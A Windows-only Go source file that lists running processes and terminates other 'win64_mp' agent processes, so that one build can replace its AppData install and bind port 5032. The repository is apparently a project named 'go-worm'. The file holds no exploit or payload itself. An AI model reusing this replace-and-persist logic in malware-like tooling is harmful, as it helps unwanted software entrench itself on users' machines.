//go:build windows

package instance

import (
	"os"
	"path/filepath"
	"unsafe"

	"golang.org/x/sys/windows"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
)

// KillOtherAgents terminates other win64_mp processes so this build can
// replace the AppData install and bind 5032. Skips this PID.
func KillOtherAgents() error {
	self := uint32(os.Getpid())
	selfPath, err := os.Executable()
	if err == nil {
		selfPath, _ = filepath.Abs(selfPath)
	}
	installed, err := config.InstalledExe()
	if err == nil {
		installed, _ = filepath.Abs(installed)
	}

	snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
	if err != nil {
		return err
	}
	defer windows.CloseHandle(snap)

	var pe windows.ProcessEntry32
	pe.Size = uint32(unsafe.Sizeof(pe))
	if err := windows.Process32First(snap, &pe); err != nil {
		return err
	}
	for {
		exeName := windows.UTF16ToString(pe.ExeFile[:])
		image := processImage(pe.ProcessID)
		if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) {
			_ = terminatePID(pe.ProcessID)
		}
		if err := windows.Process32Next(snap, &pe); err != nil {
			break
		}
	}
	return nil
}

func processImage(pid uint32) string {
	h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
	if err != nil {
		return ""
	}
	defer windows.CloseHandle(h)
	var buf [1024]uint16
	n := uint32(len(buf))
	if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil {
		return ""
	}
	return windows.UTF16ToString(buf[:n])
}

func terminatePID(pid uint32) error {
	h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid)
	if err != nil {
		return err
	}
	defer windows.CloseHandle(h)
	return windows.TerminateProcess(h, 1)
}